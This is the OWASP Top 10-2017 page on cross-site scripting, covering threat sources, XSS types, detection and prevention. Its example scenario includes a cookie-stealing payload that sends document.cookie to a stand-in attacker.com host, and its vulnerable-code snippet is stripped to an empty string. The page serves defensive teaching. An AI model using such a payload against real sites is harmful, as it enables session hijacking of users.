Top 10-2017 A7-Cross-Site Scripting (XSS)

 Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.  Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.

 XSS flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) Stored and (2) Reflected, and each of these can occur on the a) Server  or b) on the  Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify.  Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

You are vulnerable to Server XSS if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have Client XSS. Ideally, you would avoid sending attacker-controllable data to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]], but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

Preventing XSS requires separation of untrusted data from active browser content.
 * 1) Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Server XSS vulnerabilities. The OWASP XSS Prevention Cheat Sheet has details on the required data escaping techniques.
 * 2) Applying context sensitive encoding when modifying the browser document on the client side acts against Client XSS .  OWASP DOM based XSS Prevention Cheat Sheet has details specific to client-side input processing.
 * 3) Enabling a Content Security Policy (CSP) and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

 (String) page += ""; 

The attacker manipulates the `CC' parameter in the query string and sends the link to the victim. Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site.

 '> document.location= ' h ttp://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie '. 

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See 2017-A8 for info on CSRF.


 * Types of Cross-Site Scripting
 * OWASP XSS Prevention Cheat Sheet
 * OWASP DOM based XSS Prevention Cheat Sheet
 * OWASP Java Encoder API
 * ASVS: Output Encoding/Escaping Requirements (V6)
 * OWASP AntiSamy: Sanitization Library
 * Testing Guide: 1st 3 Chapters on Data Validation Testing
 * OWASP Code Review Guide: Chapter on XSS Review
 * OWASP XSS Filter Evasion Cheat Sheet


 * CWE Entry 79 on Cross-Site Scripting